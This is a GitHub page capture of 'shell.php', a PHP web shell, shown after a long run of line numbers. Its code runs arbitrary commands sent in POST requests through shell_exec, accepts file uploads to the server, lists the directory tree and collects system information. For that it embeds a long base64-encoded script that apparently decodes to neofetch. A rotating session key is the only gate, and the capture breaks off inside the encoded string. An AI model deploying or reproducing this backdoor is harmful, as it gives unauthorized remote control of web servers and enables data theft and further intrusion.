-
Notifications
You must be signed in to change notification settings - Fork 4
/
shell.php
1078 lines (940 loc) · 522 KB
/
shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
if (php_sapi_name() == 'cli') return false;
header_remove('X-Powered-By');
function getKey() {
return md5(uniqid(rand(), true));
}
define('UPLOAD_PATH', 'upload');
session_start();
function minify_html(string $html) {
if (trim($html) === '') return $html;
$html = preg_replace('/\s+/', ' ', $html);
$html = str_replace('> <', '><', $html);
$html = preg_replace('/(<!--.*?-->)/', '', $html);
$html = preg_replace('/\s*([=<>])\s*/', '$1', $html);
$html = preg_replace('/( )+/', ' ', $html);
return trim($html);
}
function minify_css(string $css) {
if (trim($css) === '') return $css;
$css = preg_replace('/\s+/', ' ', $css);
$css = preg_replace('/\/\*(.*?)\*\//', '', $css);
$css = preg_replace('/\s*([:},{;])\s*/', '$1', $css);
return $css;
}
function minify_js($js) {
if (trim($js) === '') return $js;
foreach ([
'MULTILINE_COMMENT' => '\Q/*\E[\s\S]+?\Q*/\E',
'SINGLELINE_COMMENT' => '(?:http|ftp|ws)s?://(*SKIP)(*FAIL)|//.+',
'WHITESPACE' => '^\s+|\R\s*'
] as $key => $expression) $js = trim(preg_replace('~'.$expression.'~m', '', $js));
$js = preg_replace("/[\s\t]+/", ' ', $js);
return trim($js);
}
function provider(string $template, array $data=[], int $status = 200){
$pattern = '/{{(.*?)}}/';
$html = preg_replace_callback($pattern, function($matches) use ($data) {
$placeholder = trim($matches[1]);
return isset($data[$placeholder]) ? $data[$placeholder] : $matches[0];
}, $template);
http_response_code($status);
echo $html;
}
$_SESSION['tmpKey'] = getKey();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$key = empty($_SESSION['key']) ? '' : $_SESSION['key'];
if ($_POST['key'] == $key) {
$_SESSION['key'] = $_SESSION['tmpKey'];
if (!empty($_POST['cmd'])) {
$output = shell_exec($_POST['cmd']);
/**
* convert ansi-code to plain-text :D
* $plain_text = preg_replace('/\033\[[^m]*m|\033\[2J|\033\[H|\033\[\?\d+[hl]/', '', $output);
*/
// clean colors
$output = preg_replace('/\e\[[^m]*m/', '', $output);
$output = preg_replace('/((\h*\r?\n){2})+/m', "\n", $output);
echo json_encode(['status'=> (!!$output), 'key'=> $_SESSION['key'], 'output'=> trim($output)]);
return;
}
if (!empty($_POST['upload_big_file'])) {
if (!is_dir(UPLOAD_PATH)) mkdir(UPLOAD_PATH);
$key_file = md5($_POST['filename']);
if (empty($_SESSION[$key_file])) {
$_SESSION[$key_file] = '';
}
$filename = UPLOAD_PATH . '/' . $_POST['filename'];
if (!empty($_POST['eof'])) {
$binary_str = $_SESSION[$key_file];
if (file_put_contents($filename, $binary_str) === false) {
echo json_encode(['status'=> false, 'key'=> $_SESSION['key']]);
return;
}
unset($_SESSION[$key_file]);
} else {
$_SESSION[$key_file] .= file_get_contents($_POST['data']);
}
echo json_encode(['status'=> true, 'key'=> $_SESSION['key']]);
return;
}
if (!empty($_FILES['upload'])) {
if (!is_dir(UPLOAD_PATH)) mkdir(UPLOAD_PATH);
if (!$_FILES['upload']['error']) {
move_uploaded_file($_FILES['upload']['tmp_name'], UPLOAD_PATH.'/'.$_FILES['upload']['name']);
echo json_encode(['status'=> true, 'key'=> $_SESSION['key']]);
} else echo json_encode(['status'=> false, 'key'=> $_SESSION['key']]);
return;
}
if (!empty($_POST['get_files_list'])) {
function getFolderTree($dir, $indent='', $depth = 0) {
$tree = '';
$files = scandir($dir);
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
if ($depth != 0) $tree .= $indent . '+ ';
$tree .= $file;
if (is_dir($dir . '/' . $file)) {
$tree .= '/' . PHP_EOL;
$tree .= getFolderTree($dir . '/' . $file, $indent . ' ', $depth + 1);
} else $tree .= PHP_EOL;
}
}
return $tree;
}
echo json_encode(['status'=> true, 'key'=> $_SESSION['key'], 'text'=> getFolderTree('.')]);
return;
}
if (!empty($_POST['get_info'])) {
$info = array();
if (file_exists('neofetch.sh')) unlink('neofetch.sh');
$neofetch_shell = "IyEvdXNyL2Jpbi9lbnYgYmFzaAojIHZpbTogbm9haTp0cz00OnN3PTQ6ZXhwYW5kdGFiCiMgc2hlbGxjaGVjayBzb3VyY2U9L2Rldi9udWxsCiMgc2hlbGxjaGVjayBkaXNhYmxlPTIwMDkKIwojIE5lb2ZldGNoOiBBIGNvbW1hbmQtbGluZSBzeXN0ZW0gaW5mb3JtYXRpb24gdG9vbCB3cml0dGVuIGluIGJhc2ggMy4yKy4KIyBodHRwczovL2dpdGh1Yi5jb20vZHlsYW5hcmFwcy9uZW9mZXRjaAojCiMgVGhlIE1JVCBMaWNlbnNlIChNSVQpCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTUtMjAyMSBEeWxhbiBBcmFwcwojCiMgUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3JhbnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24gb2J0YWluaW5nIGEgY29weQojIG9mIHRoaXMgc29mdHdhcmUgYW5kIGFzc29jaWF0ZWQgZG9jdW1lbnRhdGlvbiBmaWxlcyAodGhlICJTb2Z0d2FyZSIpLCB0byBkZWFsCiMgaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24sIGluY2x1ZGluZyB3aXRob3V0IGxpbWl0YXRpb24gdGhlIHJpZ2h0cwojIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwgYW5kL29yIHNlbGwKIyBjb3BpZXMgb2YgdGhlIFNvZnR3YXJlLCBhbmQgdG8gcGVybWl0IHBlcnNvbnMgdG8gd2hvbSB0aGUgU29mdHdhcmUgaXMKIyBmdXJuaXNoZWQgdG8gZG8gc28sIHN1YmplY3QgdG8gdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOgojCiMgVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWQgaW4gYWxsCiMgY29waWVzIG9yIHN1YnN0YW50aWFsIHBvcnRpb25zIG9mIHRoZSBTb2Z0d2FyZS4KIwojIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiLCBXSVRIT1VUIFdBUlJBTlRZIE9GIEFOWSBLSU5ELCBFWFBSRVNTIE9SCiMgSU1QTElFRCwgSU5DTFVESU5HIEJVVCBOT1QgTElNSVRFRCBUTyBUSEUgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFksCiMgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCiMgQVVUSE9SUyBPUiBDT1BZUklHSFQgSE9MREVSUyBCRSBMSUFCTEUgRk9SIEFOWSBDTEFJTSwgREFNQUdFUyBPUiBPVEhFUgojIExJQUJJTElUWSwgV0hFVEhFUiBJTiBBTiBBQ1RJT04gT0YgQ09OVFJBQ1QsIFRPUlQgT1IgT1RIRVJXSVNFLCBBUklTSU5HIEZST00sCiMgT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTiBUSEUKIyBTT0ZUV0FSRS4KCnZlcnNpb249Ny4xLjAKCiMgRmFsbGJhY2sgdG8gYSB2YWx1ZSBvZiAnNScgZm9yIHNoZWxscyB3aGljaCBzdXBwb3J0IGJhc2gKIyBidXQgZG8gbm90IHNldCB0aGUgJ0JBU0hfJyBzaGVsbCB2YXJpYWJsZXMgKG9zaCkuCmJhc2hfdmVyc2lvbj0ke0JBU0hfVkVSU0lORk9bMF06LTV9CnNob3B0IC1zIGV2YWxfdW5zYWZlX2FyaXRoICY+L2Rldi9udWxsCgpzeXNfbG9jYWxlPSR7TEFORzotQ30KWERHX0NPTkZJR19IT01FPSR7WERHX0NPTkZJR19IT01FOi0ke0hPTUV9Ly5jb25maWd9ClBBVEg9JFBBVEg6L3Vzci94cGc0L2JpbjovdXNyL3NiaW46L3NiaW46L3Vzci9ldGM6L3Vzci9saWJleGVjCnJlc2V0PSdcZVswbScKc2hvcHQgLXMgbm9jYXNlbWF0Y2gKCiMgU3BlZWQgdXAgc2NyaXB0IGJ5IG5vdCB1c2luZyB1bmljb2RlLgpMQ19BTEw9QwpMQU5HPUMKCiMgRml4IGlzc3VlcyB3aXRoIGdzZXR0aW5ncy4KZXhwb3J0IEdJT19FWFRSQV9NT0RVTEVTPS91c3IvbGliL3g4Nl82NC1saW51eC1nbnUvZ2lvL21vZHVsZXMvCgojIE5lb2ZldGNoIGRlZmF1bHQgY29uZmlnLgpyZWFkIC1yZCAnJyBjb25maWcgPDwnRU9GJwojIFNlZSB0aGlzIHdpa2kgcGFnZSBmb3IgbW9yZSBpbmZvOgojIGh0dHBzOi8vZ2l0aHViLmNvbS9keWxhbmFyYXBzL25lb2ZldGNoL3dpa2kvQ3VzdG9taXppbmctSW5mbwpwcmludF9pbmZvKCkgewogICAgaW5mbyB0aXRsZQogICAgaW5mbyB1bmRlcmxpbmUKCiAgICBpbmZvICJPUyIgZGlzdHJvCiAgICBpbmZvICJIb3N0IiBtb2RlbAogICAgaW5mbyAiS2VybmVsIiBrZXJuZWwKICAgIGluZm8gIlVwdGltZSIgdXB0aW1lCiAgICBpbmZvICJQYWNrYWdlcyIgcGFja2FnZXMKICAgIGluZm8gIlNoZWxsIiBzaGVsbAogICAgaW5mbyAiUmVzb2x1dGlvbiIgcmVzb2x1dGlvbgogICAgaW5mbyAiREUiIGRlCiAgICBpbmZvICJXTSIgd20KICAgIGluZm8gIldNIFRoZW1lIiB3bV90aGVtZQogICAgaW5mbyAiVGhlbWUiIHRoZW1lCiAgICBpbmZvICJJY29ucyIgaWNvbnMKICAgIGluZm8gIlRlcm1pbmFsIiB0ZXJtCiAgICBpbmZvICJUZXJtaW5hbCBGb250IiB0ZXJtX2ZvbnQKICAgIGluZm8gIkNQVSIgY3B1CiAgICBpbmZvICJHUFUiIGdwdQogICAgaW5mbyAiTWVtb3J5IiBtZW1vcnkKCiAgICAjIGluZm8gIkdQVSBEcml2ZXIiIGdwdV9kcml2ZXIgICMgTGludXgvbWFjT1Mgb25seQogICAgIyBpbmZvICJEaXNrIiBkaXNrCiAgICAjIGluZm8gIkJhdHRlcnkiIGJhdHRlcnkKICAgICMgaW5mbyAiRm9udCIgZm9udAogICAgIyBpbmZvICJTb25nIiBzb25nCiAgICAjIFtbICIkcGxheWVyIiBdXSAmJiBwcmluICJNdXNpYyBQbGF5ZXIiICIkcGxheWVyIgogICAgIyBpbmZvICJMb2NhbCBJUCIgbG9jYWxfaXAKICAgICMgaW5mbyAiUHVibGljIElQIiBwdWJsaWNfaXAKICAgICMgaW5mbyAiVXNlcnMiIHVzZXJzCiAgICAjIGluZm8gIkxvY2FsZSIgbG9jYWxlICAjIFRoaXMgb25seSB3b3JrcyBvbiBnbGliYyBzeXN0ZW1zLgoKICAgIGluZm8gY29scwp9CgojIFRpdGxlCgoKIyBIaWRlL1Nob3cgRnVsbHkgcXVhbGlmaWVkIGRvbWFpbiBuYW1lLgojCiMgRGVmYXVsdDogICdvZmYnCiMgVmFsdWVzOiAgICdvbicsICdvZmYnCiMgRmxhZzogICAgIC0tdGl0bGVfZnFkbgp0aXRsZV9mcWRuPSJvZmYiCgoKIyBLZXJuZWwKCgojIFNob3J0ZW4gdGhlIG91dHB1dCBvZiB0aGUga2VybmVsIGZ1bmN0aW9uLgojCiMgRGVmYXVsdDogICdvbicKIyBWYWx1ZXM6ICAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAgLS1rZXJuZWxfc2hvcnRoYW5kCiMgU3VwcG9ydHM6IEV2ZXJ5dGhpbmcgZXhjZXB0ICpCU0RzIChleGNlcHQgUGFjQlNEIGFuZCBQQy1CU0QpCiMKIyBFeGFtcGxlOgojIG9uOiAgJzQuOC45LTEtQVJDSCcKIyBvZmY6ICdMaW51eCA0LjguOS0xLUFSQ0gnCmtlcm5lbF9zaG9ydGhhbmQ9Im9uIgoKCiMgRGlzdHJvCgoKIyBTaG9ydGVuIHRoZSBvdXRwdXQgb2YgdGhlIGRpc3RybyBmdW5jdGlvbgojCiMgRGVmYXVsdDogICdvZmYnCiMgVmFsdWVzOiAgICdvbicsICd0aW55JywgJ29mZicKIyBGbGFnOiAgICAgLS1kaXN0cm9fc2hvcnRoYW5kCiMgU3VwcG9ydHM6IEV2ZXJ5dGhpbmcgZXhjZXB0IFdpbmRvd3MgYW5kIEhhaWt1CmRpc3Ryb19zaG9ydGhhbmQ9Im9mZiIKCiMgU2hvdy9IaWRlIE9TIEFyY2hpdGVjdHVyZS4KIyBTaG93ICd4ODZfNjQnLCAneDg2JyBhbmQgZXRjIGluICdEaXN0cm86JyBvdXRwdXQuCiMKIyBEZWZhdWx0OiAnb24nCiMgVmFsdWVzOiAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAtLW9zX2FyY2gKIwojIEV4YW1wbGU6CiMgb246ICAnQXJjaCBMaW51eCB4ODZfNjQnCiMgb2ZmOiAnQXJjaCBMaW51eCcKb3NfYXJjaD0ib24iCgoKIyBVcHRpbWUKCgojIFNob3J0ZW4gdGhlIG91dHB1dCBvZiB0aGUgdXB0aW1lIGZ1bmN0aW9uCiMKIyBEZWZhdWx0OiAnb24nCiMgVmFsdWVzOiAgJ29uJywgJ3RpbnknLCAnb2ZmJwojIEZsYWc6ICAgIC0tdXB0aW1lX3Nob3J0aGFuZAojCiMgRXhhbXBsZToKIyBvbjogICAnMiBkYXlzLCAxMCBob3VycywgMyBtaW5zJwojIHRpbnk6ICcyZCAxMGggM20nCiMgb2ZmOiAgJzIgZGF5cywgMTAgaG91cnMsIDMgbWludXRlcycKdXB0aW1lX3Nob3J0aGFuZD0ib24iCgoKIyBNZW1vcnkKCgojIFNob3cgbWVtb3J5IHBlcmNlbnRhZ2UgaW4gb3V0cHV0LgojCiMgRGVmYXVsdDogJ29mZicKIyBWYWx1ZXM6ICAnb24nLCAnb2ZmJwojIEZsYWc6ICAgIC0tbWVtb3J5X3BlcmNlbnQKIwojIEV4YW1wbGU6CiMgb246ICAgJzE4MDFNaUIgLyA3ODgxTWlCICgyMiUpJwojIG9mZjogICcxODAxTWlCIC8gNzg4MU1pQicKbWVtb3J5X3BlcmNlbnQ9Im9mZiIKCiMgQ2hhbmdlIG1lbW9yeSBvdXRwdXQgdW5pdC4KIwojIERlZmF1bHQ6ICdtaWInCiMgVmFsdWVzOiAgJ2tpYicsICdtaWInLCAnZ2liJwojIEZsYWc6ICAgIC0tbWVtb3J5X3VuaXQKIwojIEV4YW1wbGU6CiMga2liICAnMTAyMDkyOEtpQiAvIDcxMTc4MjRLaUInCiMgbWliICAnMTA0Mk1pQiAvIDY5NTFNaUInCiMgZ2liOiAnIDAuOThHaUIgLyA2Ljc5R2lCJwptZW1vcnlfdW5pdD0ibWliIgoKCiMgUGFja2FnZXMKCgojIFNob3cvSGlkZSBQYWNrYWdlIE1hbmFnZXIgbmFtZXMuCiMKIyBEZWZhdWx0OiAndGlueScKIyBWYWx1ZXM6ICAnb24nLCAndGlueScgJ29mZicKIyBGbGFnOiAgICAtLXBhY2thZ2VfbWFuYWdlcnMKIwojIEV4YW1wbGU6CiMgb246ICAgJzk5OCAocGFjbWFuKSwgOCAoZmxhdHBhayksIDQgKHNuYXApJwojIHRpbnk6ICc5MDggKHBhY21hbiwgZmxhdHBhaywgc25hcCknCiMgb2ZmOiAgJzkwOCcKcGFja2FnZV9tYW5hZ2Vycz0ib24iCgoKIyBTaGVsbAoKCiMgU2hvdyB0aGUgcGF0aCB0byAkU0hFTEwKIwojIERlZmF1bHQ6ICdvZmYnCiMgVmFsdWVzOiAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAtLXNoZWxsX3BhdGgKIwojIEV4YW1wbGU6CiMgb246ICAnL2Jpbi9iYXNoJwojIG9mZjogJ2Jhc2gnCnNoZWxsX3BhdGg9Im9mZiIKCiMgU2hvdyAkU0hFTEwgdmVyc2lvbgojCiMgRGVmYXVsdDogJ29uJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1zaGVsbF92ZXJzaW9uCiMKIyBFeGFtcGxlOgojIG9uOiAgJ2Jhc2ggNC40LjUnCiMgb2ZmOiAnYmFzaCcKc2hlbGxfdmVyc2lvbj0ib24iCgoKIyBDUFUKCgojIENQVSBzcGVlZCB0eXBlCiMKIyBEZWZhdWx0OiAnYmlvc19saW1pdCcKIyBWYWx1ZXM6ICdzY2FsaW5nX2N1cl9mcmVxJywgJ3NjYWxpbmdfbWluX2ZyZXEnLCAnc2NhbGluZ19tYXhfZnJlcScsICdiaW9zX2xpbWl0Jy4KIyBGbGFnOiAgICAtLXNwZWVkX3R5cGUKIyBTdXBwb3J0czogTGludXggd2l0aCAnY3B1ZnJlcScKIyBOT1RFOiBBbnkgZmlsZSBpbiAnL3N5cy9kZXZpY2VzL3N5c3RlbS9jcHUvY3B1MC9jcHVmcmVxJyBjYW4gYmUgdXNlZCBhcyBhIHZhbHVlLgpzcGVlZF90eXBlPSJiaW9zX2xpbWl0IgoKIyBDUFUgc3BlZWQgc2hvcnRoYW5kCiMKIyBEZWZhdWx0OiAnb2ZmJwojIFZhbHVlczogJ29uJywgJ29mZicuCiMgRmxhZzogICAgLS1zcGVlZF9zaG9ydGhhbmQKIyBOT1RFOiBUaGlzIGZsYWcgaXMgbm90IHN1cHBvcnRlZCBpbiBzeXN0ZW1zIHdpdGggQ1BVIHNwZWVkIGxlc3MgdGhhbiAxIEdIegojCiMgRXhhbXBsZToKIyBvbjogICAgJ2k3LTY1MDBVICg0KSBAIDMuMUdIeicKIyBvZmY6ICAgJ2k3LTY1MDBVICg0KSBAIDMuMTAwR0h6JwpzcGVlZF9zaG9ydGhhbmQ9Im9mZiIKCiMgRW5hYmxlL0Rpc2FibGUgQ1BVIGJyYW5kIGluIG91dHB1dC4KIwojIERlZmF1bHQ6ICdvbicKIyBWYWx1ZXM6ICAnb24nLCAnb2ZmJwojIEZsYWc6ICAgIC0tY3B1X2JyYW5kCiMKIyBFeGFtcGxlOgojIG9uOiAgICdJbnRlbCBpNy02NTAwVScKIyBvZmY6ICAnaTctNjUwMFUgKDQpJwpjcHVfYnJhbmQ9Im9uIgoKIyBDUFUgU3BlZWQKIyBIaWRlL1Nob3cgQ1BVIHNwZWVkLgojCiMgRGVmYXVsdDogJ29uJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1jcHVfc3BlZWQKIwojIEV4YW1wbGU6CiMgb246ICAnSW50ZWwgaTctNjUwMFUgKDQpIEAgMy4xR0h6JwojIG9mZjogJ0ludGVsIGk3LTY1MDBVICg0KScKY3B1X3NwZWVkPSJvbiIKCiMgQ1BVIENvcmVzCiMgRGlzcGxheSBDUFUgY29yZXMgaW4gb3V0cHV0CiMKIyBEZWZhdWx0OiAnbG9naWNhbCcKIyBWYWx1ZXM6ICAnbG9naWNhbCcsICdwaHlzaWNhbCcsICdvZmYnCiMgRmxhZzogICAgLS1jcHVfY29yZXMKIyBTdXBwb3J0OiAncGh5c2ljYWwnIGRvZXNuJ3Qgd29yayBvbiBCU0QuCiMKIyBFeGFtcGxlOgojIGxvZ2ljYWw6ICAnSW50ZWwgaTctNjUwMFUgKDQpIEAgMy4xR0h6JyAoQWxsIHZpcnR1YWwgY29yZXMpCiMgcGh5c2ljYWw6ICdJbnRlbCBpNy02NTAwVSAoMikgQCAzLjFHSHonIChBbGwgcGh5c2ljYWwgY29yZXMpCiMgb2ZmOiAgICAgICdJbnRlbCBpNy02NTAwVSBAIDMuMUdIeicKY3B1X2NvcmVzPSJsb2dpY2FsIgoKIyBDUFUgVGVtcGVyYXR1cmUKIyBIaWRlL1Nob3cgQ1BVIHRlbXBlcmF0dXJlLgojIE5vdGUgdGhlIHRlbXBlcmF0dXJlIGlzIGFkZGVkIHRvIHRoZSByZWd1bGFyIENQVSBmdW5jdGlvbi4KIwojIERlZmF1bHQ6ICdvZmYnCiMgVmFsdWVzOiAgJ0MnLCAnRicsICdvZmYnCiMgRmxhZzogICAgLS1jcHVfdGVtcAojIFN1cHBvcnRzOiBMaW51eCwgQlNECiMgTk9URTogRm9yIEZyZWVCU0QgYW5kIE5ldEJTRC1iYXNlZCBzeXN0ZW1zLCB5b3UnbGwgbmVlZCB0byBlbmFibGUKIyAgICAgICBjb3JldGVtcCBrZXJuZWwgbW9kdWxlLiBUaGlzIG9ubHkgc3VwcG9ydHMgbmV3ZXIgSW50ZWwgcHJvY2Vzc29ycy4KIwojIEV4YW1wbGU6CiMgQzogICAnSW50ZWwgaTctNjUwMFUgKDQpIEAgMy4xR0h6IFsyNy4ywrBDXScKIyBGOiAgICdJbnRlbCBpNy02NTAwVSAoNCkgQCAzLjFHSHogWzgyLjDCsEZdJwojIG9mZjogJ0ludGVsIGk3LTY1MDBVICg0KSBAIDMuMUdIeicKY3B1X3RlbXA9Im9mZiIKCgojIEdQVQoKCiMgRW5hYmxlL0Rpc2FibGUgR1BVIEJyYW5kCiMKIyBEZWZhdWx0OiAnb24nCiMgVmFsdWVzOiAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAtLWdwdV9icmFuZAojCiMgRXhhbXBsZToKIyBvbjogICdBTUQgSEQgNzk1MCcKIyBvZmY6ICdIRCA3OTUwJwpncHVfYnJhbmQ9Im9uIgoKIyBXaGljaCBHUFUgdG8gZGlzcGxheQojCiMgRGVmYXVsdDogJ2FsbCcKIyBWYWx1ZXM6ICAnYWxsJywgJ2RlZGljYXRlZCcsICdpbnRlZ3JhdGVkJwojIEZsYWc6ICAgIC0tZ3B1X3R5cGUKIyBTdXBwb3J0czogTGludXgKIwojIEV4YW1wbGU6CiMgYWxsOgojICAgR1BVMTogQU1EIEhEIDc5NTAKIyAgIEdQVTI6IEludGVsIEludGVncmF0ZWQgR3JhcGhpY3MKIwojIGRlZGljYXRlZDoKIyAgIEdQVTE6IEFNRCBIRCA3OTUwCiMKIyBpbnRlZ3JhdGVkOgojICAgR1BVMTogSW50ZWwgSW50ZWdyYXRlZCBHcmFwaGljcwpncHVfdHlwZT0iYWxsIgoKCiMgUmVzb2x1dGlvbgoKCiMgRGlzcGxheSByZWZyZXNoIHJhdGUgbmV4dCB0byBlYWNoIG1vbml0b3IKIyBEZWZhdWx0OiAnb2ZmJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1yZWZyZXNoX3JhdGUKIyBTdXBwb3J0czogRG9lc24ndCB3b3JrIG9uIFdpbmRvd3MuCiMKIyBFeGFtcGxlOgojIG9uOiAgJzE5MjB4MTA4MCBAIDYwSHonCiMgb2ZmOiAnMTkyMHgxMDgwJwpyZWZyZXNoX3JhdGU9Im9mZiIKCgojIEd0ayBUaGVtZSAvIEljb25zIC8gRm9udAoKCiMgU2hvcnRlbiBvdXRwdXQgb2YgR1RLIFRoZW1lIC8gSWNvbnMgLyBGb250CiMKIyBEZWZhdWx0OiAnb2ZmJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1ndGtfc2hvcnRoYW5kCiMKIyBFeGFtcGxlOgojIG9uOiAgJ051bWl4LCBBZHdhaXRhJwojIG9mZjogJ051bWl4IFtHVEsyXSwgQWR3YWl0YSBbR1RLM10nCmd0a19zaG9ydGhhbmQ9Im9mZiIKCgojIEVuYWJsZS9EaXNhYmxlIGd0azIgVGhlbWUgLyBJY29ucyAvIEZvbnQKIwojIERlZmF1bHQ6ICdvbicKIyBWYWx1ZXM6ICAnb24nLCAnb2ZmJwojIEZsYWc6ICAgIC0tZ3RrMgojCiMgRXhhbXBsZToKIyBvbjogICdOdW1peCBbR1RLMl0sIEFkd2FpdGEgW0dUSzNdJwojIG9mZjogJ0Fkd2FpdGEgW0dUSzNdJwpndGsyPSJvbiIKCiMgRW5hYmxlL0Rpc2FibGUgZ3RrMyBUaGVtZSAvIEljb25zIC8gRm9udAojCiMgRGVmYXVsdDogJ29uJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1ndGszCiMKIyBFeGFtcGxlOgojIG9uOiAgJ051bWl4IFtHVEsyXSwgQWR3YWl0YSBbR1RLM10nCiMgb2ZmOiAnTnVtaXggW0dUSzJdJwpndGszPSJvbiIKCgojIElQIEFkZHJlc3MKCgojIFdlYnNpdGUgdG8gcGluZyBmb3IgdGhlIHB1YmxpYyBJUAojCiMgRGVmYXVsdDogJ2h0dHA6Ly9pZGVudC5tZScKIyBWYWx1ZXM6ICAndXJsJwojIEZsYWc6ICAgIC0taXBfaG9zdApwdWJsaWNfaXBfaG9zdD0iaHR0cDovL2lkZW50Lm1lIgoKIyBQdWJsaWMgSVAgdGltZW91dC4KIwojIERlZmF1bHQ6ICcyJwojIFZhbHVlczogICdpbnQnCiMgRmxhZzogICAgLS1pcF90aW1lb3V0CnB1YmxpY19pcF90aW1lb3V0PTIKCiMgTG9jYWwgSVAgaW50ZXJmYWNlCiMKIyBEZWZhdWx0OiAnYXV0bycgKGludGVyZmFjZSBvZiBkZWZhdWx0IHJvdXRlKQojIFZhbHVlczogICdhdXRvJywgJ2VuMCcsICdlbjEnCiMgRmxhZzogICAgLS1pcF9pbnRlcmZhY2UKbG9jYWxfaXBfaW50ZXJmYWNlPSgnYXV0bycpCgoKIyBEZXNrdG9wIEVudmlyb25tZW50CgoKIyBTaG93IERlc2t0b3AgRW52aXJvbm1lbnQgdmVyc2lvbgojCiMgRGVmYXVsdDogJ29uJwojIFZhbHVlczogICdvbi